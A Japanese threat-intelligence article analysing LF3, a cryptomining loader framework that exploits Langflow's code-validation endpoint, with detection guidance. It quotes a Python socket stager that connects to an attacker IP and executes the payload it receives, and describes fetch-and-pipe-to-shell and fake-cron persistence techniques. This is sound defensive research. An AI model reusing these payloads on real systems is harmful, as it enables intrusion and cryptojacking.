Artificial Intelligence (AI)
TrendAI™、脅威ハンティングを拡張し、AIインフラに対する実環境での悪用を動的に観測
TrendAI™のエージェント型エクスプロイト修復エンジン「AESIR」に、新たな脅威ハンティングコンポーネントが加わりました。脆弱性の開示後も可視性を維持し、1年以上にわたるハニーポットのデータを、ローダフレームワーク「LF3」へと結び付けた初の調査結果を紹介します。
- TrendAI™のエージェント型エクスプロイト修復エンジン「AESIR」に、リアルタイムの脅威ハンティングコンポーネントが新たに加わりました。ハニーポットを展開して、開示済み脆弱性が実際に悪用される様子を観測することで、ほかのコンポーネントによるインテリジェンス追跡とコード解析を循環的につなぎます。
- TrendAI™ Researchチームは、2025年5月から2026年7月までLangflowのハニーポットを運用し、
POST /api/v1/validate/codeエンドポイントに対する1,180件の悪用試行を取得しました。その結果、構造化されたビルドマニフェスト、apt-update[.]comを介した独自のC&Cプロトコル、ローダを復元できた3つのビルドチャネルすべてに共通するAES-256-CBC復号鍵を特徴とする、未報告の暗号資産マイニングフレームワーク「LF3」を特定しました。 - 2台のセンサで発生した3件の侵害から、同じ攻撃者が帯域外でのステージング（Meterpreterおよび対話型リバースシェル）と、ローダをインラインで配信する手法の両方を使用していたことが分かりました。永続化にはroot権限を必要としない偽cronのフォールバックが使われていました。
- LF3が配信するペイロードは、標準のXMRig 6.22.2と公開済みのPwnKit概念実証コード（PoC）という汎用ツールです。しかし、どちらのバイナリにもLF3固有の痕跡はありません。したがって、効果的な検出ではマルウェア自体ではなく、配信フレームワークとC&Cプロトコルを対象にする必要があります。
脆弱性インテリジェンスを開示後の領域へ拡張
2026年1月、TrendAI™はエージェント型エクスプロイト修復エンジン「AESIR」を発表しました。これは、現実世界で確認された既知の悪用活動と、エージェントによるコード解析、人による監督を組み合わせ、AIの基盤インフラに潜むゼロデイ脆弱性を発見するAI活用型のセキュリティリサーチシステムです。このエンジンは今回、攻撃者が今まさに使用しているエクスプロイトをリアルタイムで動的に発見する機能を獲得しました。既知の悪用済み脆弱性をまとめた静的なリストを、動的な発見によって補完します。
このエージェント型エクスプロイト修復エンジンは、当初2つのサブシステムで構成されていました。1つは、公開済み脆弱性について世の中で何が判明しているかを追跡し、優先すべき対象を判断する脆弱性インテリジェンスシステムです。もう1つは、既知の脆弱性クラスに共通するパターンをソースコードから読み取り、実際にエクスプロイトを成立させることで、どの弱点が実在するかを確かめる自律的発見システムです。
CVEはリスクに関する仮説であり、悪用はその証拠です。
この隔たりは、ほかのほとんどの領域以上にAIインフラで重要になります。エージェントのオーケストレーションプラットフォームは短期間で構築され、緩い初期設定のまま公開されがちです。認証情報やモデルAPIキーを与えられる一方、運用チームのセキュリティ上の関心は、インフラの堅牢化よりもモデルの安全性に向けられています。また、ユーザ定義ロジックの実行そのものが製品機能であるため、設計上、コード実行機能を公開する傾向があります。エコシステム全体で見れば、このアタックサーフェスはボットネット運営者にとってのサプライチェーンとして機能し始めています。攻撃者はインターネットに公開された環境をスキャンし、GPUに近接し、しばしばrootで動作する既製の計算資源として利用します。
動的なAI活用型脅威ハンティングの導入
TrendAI™は、脆弱性とそのエクスプロイトを発見から開示へ進めるプロセスを、さらに重要な次の段階へと拡張します。実環境でエクスプロイトを動的に観測し、実際に悪用されているのか、どのような手法で、どの程度の規模で使われているのか、さらに配布済みのパッチが本当にリスクを取り除いたのかを特定します。これを可能にするのが、エージェント型エクスプロイト修復エンジンです。コードを読み取って弱点が実在することを確認し、攻撃を受け入れるインターネット公開型ハニーポットと組み合わせます。攻撃者による悪用の試みを観測したうえで、トラフィックが実際に何を示しているかを判定します。
これは、AIで脆弱性やエクスプロイトを際限なく発見する段階から、そのなかで最も危険なものを特定する段階へ業界を移行させる大きな転換です。この脅威ハンティングの進化により、TrendAI™はリスクベースの脆弱性管理における最大の課題を解消します。すなわち、攻撃者がエクスプロイトを実際にどう利用しているかを見極め、そのインテリジェンスを迅速な修復につなげることです。
この新たな脅威ハンティング技術は、人の指揮下で活動するTrendAI™ Researchチームだけが使用します。プラットフォームが手掛かりを生成し、研究者が判断を下します。
自ら情報を循環させるエクスプロイト修復エンジン
TrendAI™のエクスプロイト修復エンジンにおいて、脅威ハンティングコンポーネントは単独で動作するわけではありません。脆弱性インテリジェンスおよび自律的発見と連携します。
開示から観測へ： 脆弱性インテリジェンスコンポーネントは、毎日新たに開示される重大な脆弱性を抽出し、脅威ハンティングがそれをセンサへと変えます。脅威ハンティングは、影響を受けるサービスを模倣するハニーポットを提案し、展開します。重大な脆弱性が開示されたその日のうちに、悪用を捕捉するセンサがデータ収集を始めることも可能です。
観測から発見へ： 脅威ハンティングのハニーポットログから、攻撃者が特定の脆弱性クラスを組織的に狙っていることが分かると、そのクラスは自律的発見が次に読み取り、解析する対象として優先されます。その結果は脆弱性インテリジェンスコンポーネントにも渡され、同じ系統に属する未修正の脆弱性すべての優先順位が引き上げられます。自律的発見は一方向のパイプラインではなくなり、攻撃者から学ぶループになります。
脅威ハンティングシステムの役割を最も明確に示すには、まだ誰も名前を付けていなかった脅威を発見する過程を見るのがよいでしょう。
TrendAI™の高度な脅威ハンティングシステムによる観測
収集側の仕組みは、TrendAI™が一貫して管理します。TrendAI™がハニーポットをホストし、エージェント型脅威ハンティングシステムがそのログを継続的に監視します。これにより、ペイロード、標的のバージョン、試行の背後にある攻撃者のインフラを特定し、何が、どのような手法で攻撃しているのか、さらにそれが新しいものかどうかを研究者が確認できます。
センサグリッドは固定された資産リストではありません。セキュリティコミュニティで公開されている情報に合わせ、脆弱性インテリジェンスコンポーネントと同じ脆弱性データを基に構成を変化させます。監視範囲も、意図的にAIスタックへ限定していません。同じ攻撃者がAIツールと従来型ソフトウェアの両方を狙うためです。従来型ソフトウェアへの攻撃は、次にAIスタックへ向かう攻撃を知らせる最初の兆候になることがあります。センサは次の3群に分かれます。
- AIスタック：LLMとエージェントのオーケストレーション、検索、モデル可観測性ツール、ノートブック、ワークフロー環境
- AIシステムに隣接するエンタープライズスタック：IDサービス、メッセージブローカー、Webフレームワーク、IT管理など
- 複数のクラウドリージョンと大陸にまたがる、その他の監視すべき対象
攻撃を収集すること自体は難しくありません。インターネットにサーバを公開すれば、誰でも攻撃を収集できます。ハニーポットの真価は、日常的なインターネットノイズを除外し、既存のシグネチャでは検出できない未認識の異常（ゼロデイや新たな脅威の挙動など）を選別することにあります。この切り分けこそが最も難しい作業です。到来したデータの圧倒的多数は脇に置かれますが、削除せず記録として残すため、判断を後から見直せます。フィルタリングを通過するのはごく一部で、脅威として確認され、研究者が詳しく調べる対象はさらに少数です。
本記事で扱う活動はすべて、第1群であるAIスタックから見つかりました。この活動を異常と判断できたのは、TrendAI™がほかの2群も比較対象として観測していたからです。
出典：TrendAI™ Research。センサは、当社所有のインフラ上でホストしているハニーポットです。お客さまの環境は一切観測しておらず、お客さまのデータも使用していません。
未加工のセンサトラフィックを確認済みの脅威情報へ変える各段階では、機械による支援と研究者による確認を組み合わせています。
- 収集：プラットフォームが開示情報フィードを基に監視対象を判断します。研究者は、どの対象を実際に立ち上げる価値があるか、センサをどのように構成するかを決めます。
- トリアージ：類似するペイロードをクラスタリングし、既知のものと一致しない対象を抽出します。外れ値が新しいファミリなのか、既存のファミリが姿を変えただけなのかは研究者が判断します。
- 確認：研究者はプラットフォームの支援を受けながらペイロードを復元し、特定します。ボタンを押すだけの作業ではなく、自動判定だけを根拠に結論を出すこともありません。
対象範囲： 本リサーチで使用したセンサはすべて、TrendAI™が隔離されたインフラ上でホストするハニーポットです。お客さまの環境を観測することも、お客さまのデータを使用することもありません。脅威ハンティングは社内向けのリサーチ機能であり、製品ではありません。お客さまには提供しておらず、本記事にサービスの説明は含まれません。本作業の成果、すなわち以下の分析と得られた指標を公開リサーチとして提供します。
次の調査は、これらすべての仕組みが同時に機能する様子を示しています。アドバイザリだけでは整理できないCVEファミリ、1年以上続く悪用、そしてこれまで記録されていなかった脅威を詳しく追います。
1年以上にわたるLangflow悪用トラフィックの分類
Langflowは、LLMとエージェントのワークフローを構築するために広く導入されているオープンソースフレームワークで、初期設定ではポート7860を使用します。前述のAIプラットフォームと同様、主要機能の一部としてコード実行機能を意図的に公開しており、広範に導入されています。こうした特性から攻撃者にとって魅力的な標的となっており、当社のセンサではLangflowを狙う悪用試行を定期的に観測しています。
2025年5月13日から2026年7月31日までに、Langflowのビルドを稼働させたハニーポットは、70件の異なる送信元アドレスからPOST /api/v1/validate/codeへの1,180件のリクエストを記録しました。各リクエスト本文を、実行しようとしていた処理に基づいて分類した結果、9つの客観的なクラスが得られました。最大のクラスは42件の送信元から届いた636件ですが、これは特定の挙動ではなく、残余カテゴリです。分類対象とした8つのパターンのいずれにも一致しないものが、ここに入ります。その次には、/etc/passwdを読み取る33件と、実行確認のため識別子をechoする33件など、認識可能なパターンが続きます。
1つだけ、この形に収まらないクラスがありました。パックドローダが7件の送信元から353件のリクエストを占め、多くは圧縮後にbase64でラップされたPythonのblobとして届きました。ただし、このクラスの中身がすべて同一だったわけではありません。送信元自身へ接続する2件のソケットステージャなど、無関係なイベントも少数含まれています。それ以外を結び付けていたのは、ペイロード内の設定マニフェストでした。コーパス全体では、2025年8月から観測期間の最終日までに、わずか3つのアドレスから送られた586件のリクエスト本文がこのマニフェストを含んでいました。そこには、構造化されたスキーマと独自のC&Cプロトコルが記述されていましたが、公開情報には一致するものがありませんでした。そこで、マニフェストに記録されたアプリケーションタグにちなみ、このファミリを「LF3」として追跡しました。
出典：TrendAI™ Research、脅威ハンティングコンポーネントのハニーポットで取得。合計1,180件。
本記事では、このフレームワークを技術的に分析します。Langflowに対する3つのペイロードファミリは、すでに報告されていました。同じvalidate/codeの基本機構を悪用する「AI開発ツール「Langflow」の重大な脆弱性「CVE-2025-3248」を悪用してFlodrixボットネットを配布する攻撃が活発化」と、エージェント型ランサムウェアキャンペーン「JADEPUFFER」、さらに別のbuild_public_tmpエンドポイントを使用し、エンジンがCVE-2026-33017として追跡した「AIツール「Langflow」を暗号資産「Monero」のマイニングに悪用する攻撃活動：脆弱性「CVE-2026-33017」に付け入る手口」です。LF3は4番目のペイロードであり、今回が初の公開報告となります。最も重要な比較対象は3番目で、LF3もMoneroマイナーだからです。両者を分けるのは目的ではなく配信フレームワークです。エンドポイントとC&Cが異なり、設定スキーマとプロトコルも、既存キャンペーンに関する公開情報には見られません。
1つのクラスタから名前のある脅威へ
目的別クラスの大半は、一度きりの攻撃です。攻撃者はペイロードを送り、成功してもしなくても次へ移ります。一方、継続的に戻ってくる保守されたツールも少数ながら存在します。個々のリクエストだけを見ても同じように見えるため、両者の違いは研究者でも判断できません。
TrendAI™のエージェント型エクスプロイト修復エンジンに含まれる脅威ハンティングコンポーネントは、TLSH（Trend Micro Locality Sensitive Hash）による類似度でペイロードをグループ化します。ほぼ同一の本文は1つのクラスタにまとまり、「既知のものに似ていない」対象が浮かび上がります。LF3は、コーパス内に既知のツールと一致しないものがないかを研究者が定期的に調べる、継続的な独自性レビューから見つかりました。TrendAI™ Researchが取得したデータの大半は、この基本機構に対してすでに公開されている手法か、一般的な汎用ツールと一致していました。しかし、1つのクラスタだけはどちらにも該当しませんでした。C&Cドメイン、設定スキーマ、鍵のシード、プロトコルはいずれも既知のファミリと一致せず、取得された2つのペイロードもVirusTotalで未検出でした。このクラスタがLF3です。
脅威ハンティングコンポーネントのもう2つの特性により、詳しい状況を明らかにできました。まず、要約ではなく完全なパケットキャプチャを保持していたため、標的で稼働していたバージョン、セッション状態、エクスプロイト本文をさかのぼって確認できました。また、時間制限によって複数のキャプチャに分断されたペイロード転送を完全なファイルへ再構成できます。個々のダウンロードが途中で切れていたにもかかわらず、配信された2つのバイナリを復元できたのはこのためです。
2番目の特性には、運用上のルールがあります。稼働中の攻撃者インフラからサンプルを取得すれば、監視されていることを攻撃者に知らせ、将来の可視性を失います。そのため、この調査では行っていません。研究者が開始したパケットが攻撃者のインフラへ到達したことはなく、サンプルも実行していません。侵害されたハニーポット自体はC&Cと長時間通信しましたが、それこそがハニーポットを運用する目的です。
通信内容だけではCVEを特定できない理由
以降のすべての検出ルールに関わる、トリアージ上の問題があります。POST /api/v1/validate/codeには、次の3つのCVEが該当します。
- CVE-2025-3248：1.3.0より前のバージョンに存在する認証欠如の脆弱性
- CVE-2026-0770：
validate_code()内の安全でないexec() - CVE-2026-0768：同じルートの
codeパラメータに関する脆弱性
通信内容だけでは3つを区別できません。いずれもリクエスト形式は同じであり、どれが該当するかは標的で稼働していたバージョンと、呼び出し元がセッションを保持していたかどうかで決まります。
基盤となるコード実行の仕組みも3つすべてで同じです。Langflowは送信されたPythonコードをASTとして解析してコンパイルしますが、Pythonは関数定義時にデコレータとデフォルト引数の値を評価します。そのため、デコレータに埋め込まれたコードが検証中に実行されます。セッションが必要な場合でも、匿名ログインが有効であれば、GET /api/v1/auto_loginを呼び出すことで取得できます。当社のセンサは実際にこの動きを捉えました。認証されていない呼び出し元へトークンが返され、その数秒後にエクスプロイトが到着しています。
自社ログをトリアージする際は、まず悪用試行を特定し、その後で標的のバージョンと呼び出し元のセッション有無に基づいてCVEを判断してください。ペイロードだけからCVEを割り当ててはいけません。
使用を避けるべき指標： この脆弱性のシグネチャにはexec_globalsという文字列が繰り返し登場しますが、どのシグネチャにも含めるべきではありません。これはリクエストパラメータではなく、Langflowがexec()へ渡すグローバル変数の辞書名として内部で使用する識別子です。したがって、サーバ側のトレースバックには現れますが、攻撃トラフィックには現れません。取得した1,180件のリクエスト本文では、出現回数は0件でした。この文字列を基準にしたルールは、自社のエラーログに一致するだけです。
ビルドマニフェスト
LF3の各ローダは1行のJSONオブジェクトを内包し、登録時には同じオブジェクトをbase64のクエリ文字列としてC&Cへ送信します。これはビルドの識別情報として機能し、ファミリの中で最も長く変わらない特徴です。
スキーマの中核は、すべてのチャネルで一貫しています。pf、app、apc、ssl、dle、dlc、xrb、xrd、xro、pwn、prc、ctb、svc、fctです。一方、周辺部分は変化します。2025年8月のチャネルはrhsを省略し、設定ファイル名を表すxrcを追加しています。プロキシ経由のチャネルはdlt、prx、sprxを追加し、転送方式と2つのプロキシを指定します。ルールでは安定した中核を基準とし、追加のキーは不一致ではなく、チャネルを識別する要素として扱う必要があります。
取得した3,228件の登録をすべてデコードしたところ、同じ攻撃者が運用する4つのビルドチャネルを特定できました。appとapcフィールドがチャネル名を表し、xrbがビルドごとのシードです。チャネルは登録をまたいで安定していましたが、シードはビルドごとに変化していました。
出典：TrendAI™ Research、脅威ハンティングコンポーネントのハニーポットで取得。
フィールド名は短いものの、チャネルをまたいだ一貫した用法から、大半の意味を読み取れます。
pf-- 対象プラットフォーム。常にLinuxappとapc-- ビルドチャネル名ssl-- C&CチャネルでTLSを使用するかを切り替える値。取得データではすべて0で、平文のポート80通信と一致dleとdlc-- ダウンロードの暗号化および圧縮設定xrb-- ビルドシードxrd-- ビルドごとのランダムトークンxro--xrdに対応する数値pwn、prc、ctb、svc、fct-- 権限昇格、プロセス制御、crontab、サービスのインストール、偽cronのフォールバックに関する機能スイッチ
図8では、権限昇格に失敗した実際のホスト上で、3つの永続化手法がどのような結果になったかを示します。
dleフィールドは、本キャンペーンで最も有効な指標を示しています。 ペイロードが暗号化されて配信される場合、ローダはOpenSSLとAES-256-CBCで復号します。その鍵とIVは、どちらも平文でローダに書き込まれています。取得した1,263件のローダ配信では、鍵とIVはそれぞれ1種類しかなく、ローダを復元できた3つのビルドチャネルすべてで同一でした。これは、チャネルごとに変わるxrbビルドシードとは対照的です。チャネルの切り替え後も変化せず、コンパイル済みバイナリではなくスクリプト内に存在し、正規の用途では現れる理由がない64文字の16進文字列は、この種の調査で得られるコンテンツシグネチャとして極めて明確です。
openssl enc -aes-256-cbc -nosalt \
-K 9AA0CDEF13E65BD021A827C309355602DAFA5F611F9A665C3A2FDB2B901E27A9 \
-iv A3863F262BFAF1C3EB10543D9AF16499
ホスト側のスキャンには、もう1つ有用な文字列があります。ローダは/tsを取得し、レスポンスをリテラル文字列DL_T3ST_0Kと比較して、C&Cへ到達できることを確認します。/tsのレスポンス本文は取得できなかったため、サーバが実際にこの文字列を返すかは確認できません。しかし、配信されたローダのうち1,218件にこのリテラルが含まれていました。前述の1,263件に届かないのは、そのブロックへ到達する前に配信が途切れたためです。ディスク上またはメモリ内のスクリプトを探索するうえで、信頼できる文字列です。
2つの点には特に注意が必要です。1つ目は、侵害されたホスト自身のパブリックアドレスを格納するrhsです。1月のlangflowaiチャネルでは、965件の登録すべてに同じ値が現れ、送信元センサのパブリックアドレスと完全に一致しました。7月のビルドも同様です。これらは攻撃者のインフラではなく当社のセンサであるため、値は公開しません。ただし、この値を書き込んだのはローダではありません。ホスト上にローダが作成される前、攻撃者のビルダーによってエクスプロイト本文へ埋め込まれています。つまり、攻撃者は一斉送信の時点で各標的のパブリックアドレスを把握していました。このフィールドに値が入っていれば、ビーコンと特定のホストIDを結び付ける相関キーとして利用できます。ただし、8月のチャネルではこのフィールドが省略され、プロキシ経由のチャネルでは空のため、すべてのチャネルで利用できるわけではありません。
2つ目はappタグ自体です。3,228件の登録のうち、LFAIではなくLF3と記録されたのは、2026年7月30日の1件だけでした。より広いコーパスでは、それほど珍しいタグではありません。2026年3月11日を最初として、265件のエクスプロイト本文がLF3マニフェストを含み、唯一の登録より4か月半前から確認されています。7月30日が特別なのは、LF3タグを持つビルドがC&Cへの登録まで進んだ唯一の事例だからです。この1件がファミリ名の由来となり、残る3,227件の登録にはLFAIと記録されていました。
クエリ文字列では、攻撃者のトラフィックからそのまま取得した次の3つのsed式によって、標準とは異なる文字セットが使われています。
base64 -w 0 | sed -e 's#/#_#g' | sed -e 's#+#-#g' | sed -e 's#=#~#g'
実際の取得トラフィックで現れたのはチルダだけです。取得した3,228件の登録のうち1,770件は末尾にチルダを持ちますが、ハイフンやアンダースコアを含むものは1件もありません。マニフェストが短いJSON文字列で、base64にしてもこれらの文字がほとんど生成されないためです。残りの1,458件は長さが4の倍数になり、パディング自体がありません。したがって、チルダだけを基準にしたルールではトラフィックの約半分しか検出できません。スキーマのフィンガープリントと組み合わせ、単独では使用しないでください。
配信：3件の侵害と、それぞれ異なる手法
観測期間中、2台のセンサで3件の侵害が発生しました。1台目のセンサは5か月の間隔を空けて2度侵害され、2台目は1度侵害されました。3件はそれぞれ異なる配信手法を使用しており、共通点よりも相違点が重要です。コーパス内の3,228件のC&C登録はすべて、この2台のホストから発生しています。そのため、図5のチャネル表はノイズではなく、キャンペーン構造として読み取れます。
出典：TrendAI™ Research、脅威ハンティングコンポーネントのハニーポットで取得。指標は無害化済み。
1台目のセンサに対する2件の侵害は、同じ流れで始まります。/api/v1/versionへのリクエストでビルドを識別し、続いて/api/v1/auto_loginを呼び出し、その数秒後に同じエンドポイントへエクスプロイトを送ります。分析記録によると、auto_loginは認証されていない呼び出し元にトークンを返しました。レスポンス本文自体はエクスポートされたキャプチャに含まれていないため、この手順は未加工イベントから再現できるものではなく、分析担当者が確認した事実として扱う必要があります。一方、2台目のセンサで2026年7月に発生した侵害では、キャプチャにこの前段処理がまったくありません。完全な一連の流れを想定したルールを作成する場合、この違いは重要です。
注目すべきはトークン取得の手順です。隣接するハニーポットは1月に同じ3つのリクエストを受信し、エクスプロイトも送られましたが、auto_loginの呼び出しでは匿名アクセスを拒否しました。このホストは侵害されませんでした。今回のキャプチャから、完全な未認証バイパスとトークンを利用したアクセスを切り分けることはできません。そのため、設定が決定的だったとは断定しませんが、侵害されたホストとされなかったホストを分ける最も明確な違いです。
最初の2件では、ソケットがローダではなくエクスプロイト本文に含まれていました。 2025年8月の本文は、コンパクトなソケットステージャでした。攻撃者のアドレスにあるTCP 8881へ外向きに接続し、そのチャネルから長さ情報付きのzlib blobを読み込んで実行します。2026年1月の本文は、TCP 23365への対話型リバースシェルでした。どちらのリクエストにもローダは含まれていないため、ローダの形を前提としたルールでは両方を見逃します。
2026年7月の侵害は別の手法を採用しました。エクスプロイト本文にローダのブートストラップを直接格納し、apt-update[.]comの/chから1行で取得して、そのままシェルへ渡します。クエリ文字列にはビルドマニフェストがすでに埋め込まれていました。つまり、同じ攻撃者が帯域外配信と帯域内配信の両方を使用しています。検出では、本文の形ではなく基本機構とC&Cを基準にしなければなりません。
import socket,zlib,base64,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('185[.]213[.]26[.]27',8881))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})
デコレータを展開し、blobを解凍すると、上記が8月のエクスプロイト本文のすべてです。そのソケットを通じて返された内容は予想外のものでした。エクスプロイトが届いてから0.3秒後、攻撃者は24,773文字のbase64ペイロードを送信しました。解凍すると73,186バイトのPythonコードになりますが、LF3ローダではなくMetasploitのMeterpreterステージでした。セッションGUID（Globally Unique Identifier）、完全なTLV（Type-Length-Value）定数表、118種類のstdapiコマンドを含んでいます。バイト単位で調べても、apt-update[.]com、設定スキーマ、ビルドシードへの参照はありませんでした。
エクスプロイトから10:38:52の最初のC&Cビーコンまでの14分間は、空白ではありません。攻撃者はこの間ずっと対話型Meterpreterセッションを維持し、10:39:02にもチャネル上で通信していました。LF3ローダは最初の/ch登録に対するHTTPレスポンス内のシェルスクリプトとして別途到着し、その後にマイニングが始まりました。したがって、8月の侵害には混同しやすい2つの段階があります。汎用リモートアクセスツールでホストを掌握して維持する段階と、掌握後にHTTP経由でLF3を配信する段階です。
1月は異なり、攻撃者が2つのシェルを使って操作していました。16:41:33の最初のエクスプロイトは生存確認だけを行うチャネルを開きました。16:55:54の2回目は新しいチャネルを開き、こちらが実際のセッションを運びました。攻撃者はpsを実行しましたが、コンテナにバイナリがないため失敗し、/procを走査して各プロセスのPIDとパスを列挙しました。続いて、競合する2つのツールセットに属する5つのプロセスを停止し、ローダを貼り付けました。しかし、無関係のアドレスへ接続するbashリバースシェルという3つ目の競合ツールは、なぜかそのまま残しました。C&Cビーコンは16:56:48に始まり、ローダのデバッグ出力が同じチャネルを通って返されました。
DEBUG: [MAIN] DL_HOST=apt-update[.]com
DEBUG: [MAIN] DL_TOOL=CURL
DEBUG: [MAIN] XMRIG_ROOT_DIR=/app/data
DEBUG: [MAIN] XMRIG_PATH=/app/data/k0sa1fdoepp8n9aq
DEBUG: [DL_BIN(pw #1)] RESULT=OK
DEBUG: [MAIN] PWN_DL=OK
DEBUG: [MAIN] PWN_TEST=FAIL
この記録により、実際に操作していた攻撃者とLF3が結び付き、ローダがこのホストで実行できた処理と、できなかった処理も分かります。権限昇格用ペイロードの取得には成功しましたが、実行は失敗しました。そのため、root権限がなく、サービスのインストールは完全に拒否されました。crontabによる永続化も失敗しましたが、原因は異なります。ローダはこの処理を非特権で実行しており、同じシェルの記録ではpsとpkillもコンテナに存在しません。したがって、権限チェックよりもcrontabバイナリが存在しなかった可能性が高いと考えられます。マイナーは非特権で動作しました。
それでも永続化には成功していました。 同じデバッグフレームには、非特権で動作するフォールバックのインストール成功が記録されています。固定間隔でC&Cから再取得し、レスポンスをシェルへ渡す偽cronループであり、root権限は一切必要ありません。root権限の取得失敗を侵害自体の失敗と判断すれば、誤った結論に至ります。マイナーは稼働し、ホストはビーコンを送り続けていました。
C&Cプロトコル
ローダが起動すると、2025年3月に登録されCloudflare経由で運用されているapt-update[.]comに対して、小規模な独自HTTPプロトコルで通信します。観測されたすべてのC&C通信は、固定されたループ内で実行される4種類の呼び出しに分類できます。
出典：TrendAI™ Research、脅威ハンティングコンポーネントのハニーポットで取得。指標は無害化済み。
このサイクルの繰り返し間隔は中央値で212秒（約3分半）、90パーセンタイルで373秒でした。ダウンロード回数はハートビートの1.94倍で、1サイクルに2回取得するパターンが集計結果にも表れています。数日が経過すれば、単一の侵害ホストであっても外向き通信上で見逃せない量になります。最初のエクスプロイトを検出できたかどうかは関係ありません。
ダウンロードマニフェストには目的が直接記されています。マニフェストはbase64ではなくURLエンコードされたJSONで、取得リクエストは{"f":"pw","t":"b","p":"lnx","a":"64","e":"","c":0}を送ります。コーパス全体では、pwへのリクエストが2,789件、xrが2,780件でした。サイクル内の順番も一貫しており、最初に権限昇格エクスプロイト、次にマイナーを取得します。3件の侵害すべてと、ローダ自身のデバッグ出力でこの順序を確認しました。
ルールを作成する際には、誤認を招きやすい2つの特徴があります。4種類の呼び出し全体で、1,599件が裸のパスではなくGET hxxp://apt-update[.]com/dl?...という絶対形式を使用していました。C&Cトラフィックのおよそ7件に1件です。さらに、1月31日から2月2日まで攻撃者自身のプロキシを通じて発行された236件は、CONNECT //apt-update[.]com:80でした。これらにはパス自体がありません。スキームとホストを取り除いてから照合しなければ、パスの先頭に固定したルールではすべてを見逃します。
1つだけ異なる経路を使うチャネルがあります。プロキシ経由のpython3チャネルは、1月のlangflowaiチャネルと同じホスト上で同時に動作していましたが、Cloudflareのフロントではなく、170[.]78[.]97[.]83をHTTPのポート8181とSOCKSのポート1088で利用していました。このアドレスは、1月の初期アクセス元でもあります。キャプチャから確認できる事実に基づき、プロキシ兼アクセス元としています。ほかのチャネルでCDNの背後に何があるかは特定できていません。
IoC表に記載したアドレスについて： 80[.]3[.]252[.]56、89[.]116[.]25[.]70、185[.]185[.]80[.]58の3つは、前述の侵害シナリオには登場しません。対話的な操作ではなく、エクスプロイトを一斉送信する側だからです。この3アドレスから、コーパス内にあるブートストラップを含む590件のエクスプロイト本文が送られています。なかでも80[.]3[.]252[.]56は件数が突出して多く、活動期間も最長で、2025年8月から観測期間の最終日まで稼働し、2026年7月の侵害を引き起こしました。アドレスは入れ替わりますが、設定スキーマとC&Cは共通しています。この共通性から、3つの別々の活動ではなく、1つの作戦に結び付けられます。
ホスト上での挙動
先へ進む前に、情報源に関する注意点があります。指標の重み付けに影響するためです。侵害ホスト上で実行されるローダと、それを取得する1行のブートストラップは、同じアーティファクトではありません。ブートストラップはコーパス内で頻繁に見つかっています。1,180件のエクスプロイト本文のうち590件がapt-update[.]comを参照してレスポンスをシェルへ渡し、そのうち586件が設定マニフェストを含みます。短く、変化しやすいコードです。一方、配信されるローダはC&Cレスポンスとして提供される約32KBのPOSIXシェルスクリプトで、一貫性があります。以下では配信ローダについて説明し、ブートストラップとの違いがある場合は明記します。
最初に競合を排除します。 配信ローダは/dev/shm、/tmp、/var/tmpを消去します。名前を指定した2種類のkillリストもありますが、いずれもローダ本体ではなくブートストラップの1行コードに含まれます。1月のリストは、sys-update.log、./systemk、CRON、mbilling、linuxsysを対象とする5パターンのpkillで、手作業で貼り付けられていました。8月のリストはさらに長く、kinsing、kdevtmpfsi、Sakura、xmrig、telnetdなどを対象とし、1つのアドレスから送られています。どちらも挙動の探索には有用ですが、LF3ローダのシグネチャではなく、複数のキャンペーンにも現れていません。どちらのリストもファミリ検出ルールの基準にすべきではありません。
複数の層で永続化し、root権限が必要なのは1つだけです。 利用可能なinitシステムを通じてサービスをインストールします。まずRestart=alwaysを指定したsystemdを試し、失敗するとupdate-rc.dとchkconfigへフォールバックします。このサービス層にはroot権限が必要です。crontabエントリと偽cronループには必要ありません。最も単純な永続化手法は偽cronであり、実際に成功したのもこの手法です。/bin/shを作業ディレクトリへコピーし、180秒ごとにC&Cの/crから再取得してレスポンスをそのシェルへ渡すスクリプトを書き込み、バックグラウンドで実行します。
ここには、誤ったルールにつながりやすい重要な点があります。サービス名はビルドごとのシードから作られるため、チャネルとともに変化し、固定値として指定できません。nginxlogという別の名前が、8月のブートストラップの1変種に登場しますが、update-rc.d removeコマンドの対象として使われるだけです。競合ツールを削除しているのか、古いLF3サービスを置き換えているのかは、キャプチャから判断できません。ローダ自身も同じ「削除してから書き込む」処理を自己のサービス名に対して行うため、どちらとも断定しません。nginxlogはファミリの指標ではなく、本キャンペーンで1度だけ確認された文字列として扱ってください。
利用可能な手段で取得します。 ダウンロード処理はcurl、wget、perl、python2の順に試し、結果をシェルへ渡します。特に注目すべきはPerlのフォールバックです。curlとwgetを削除して強化したホストでも、この経路で到達できます。
作業ディレクトリも固定されません。サービスアカウントのホームから始まり、/dev/shm、/var/tmp、/tmpと続くリストを順に確認し、最初に書き込み可能な場所を選んで、その内部にランダムな名前のサブディレクトリを作成します。Langflowのコンテナイメージでは、デバッグ出力のとおり/app/dataが選ばれましたが、パッケージ構成が異なるホストでは別の場所になります。ローダがroot権限を得た場合は、ビルドシードと同じ名前のディレクトリを/usr/bin配下に作り、そこへ自身をコピーします。検出を/app/dataという文字列に固定すれば、このコンテナ以外の環境をすべて見逃します。
LF3が実際に配信するもの
LF3が実際に取得するものは、その配信機構ほど高度ではありません。この種の調査は、研究者が安全にアクセスできないインフラ上にサンプルがあるため、通常はここで止まります。今回の2つのバイナリはいずれも数MBのELFで、複数のローリングキャプチャにまたがってダウンロードされていました。各キャプチャは途中で切れているため、単独で切り出すと破損ファイルになります。ただし、この欠損は推測ではなく検証できます。ELFはセクションヘッダとプログラムヘッダのオフセットを内部に記録しており、そのオフセットが取得データの末尾を超えていれば、ファイルが不完全であることを証明できます。
複数のキャプチャで重なるセグメントを統合して2つのバイナリを再構成し、同じ完全性チェックで結果を確認してから解析しました。GhidraのHeadless Analyzerに取り込み、逆コンパイルしましたが、実行は一切していません。得られた特徴的なトークン、設定スキーマのフィンガープリント、鍵のシード、サンプルのハッシュを公開情報と照合し、先行例を調べました。一致が0件だったため、LF3を新しい分類の候補とし、その後の分析で裏付けました。
個別には破損していたキャプチャから、攻撃者へパケットを1つも送らずに、2つの完全なマルウェアサンプルを復元しました。 この一連の処理を自動化するツールは、現在も開発中です。ここでは仕組み自体ではなく、満たした制約を示すために説明しています。
出典：TrendAI™ Research。復元サンプルの静的解析結果を、保管済みバイナリと再照合して確認。
